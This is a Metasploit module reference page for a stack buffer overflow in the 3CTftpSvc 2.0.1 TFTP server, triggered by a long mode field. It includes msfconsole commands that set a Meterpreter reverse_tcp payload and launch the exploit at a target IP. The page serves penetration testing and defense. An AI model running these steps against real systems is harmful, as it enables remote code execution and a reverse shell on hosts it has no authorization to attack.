3CTftpSvc TFTP Long Mode Buffer Overflow
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By sending a specially crafted packet with an overly long mode field, a remote attacker could overflow a buffer and execute arbitrary code on the system.
Exploit Rank
- Great
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - 3CTftpSvc 2.0.1 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/tftpserver_wrq_bof
Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/tftp/threectftpsvc_long_mode
msf exploit(threectftpsvc_long_mode) > show payloads
msf exploit(threectftpsvc_long_mode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(threectftpsvc_long_mode) > set LHOST [MY IP ADDRESS]
msf exploit(threectftpsvc_long_mode) > set RHOST [TARGET IP]
msf exploit(threectftpsvc_long_mode) > exploit
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msf > use exploit/windows/tftp/threectftpsvc_long_mode
msf exploit(threectftpsvc_long_mode) > show payloads
msf exploit(threectftpsvc_long_mode) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(threectftpsvc_long_mode) > set LHOST [MY IP ADDRESS]
msf exploit(threectftpsvc_long_mode) > set RHOST [TARGET IP]
msf exploit(threectftpsvc_long_mode) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |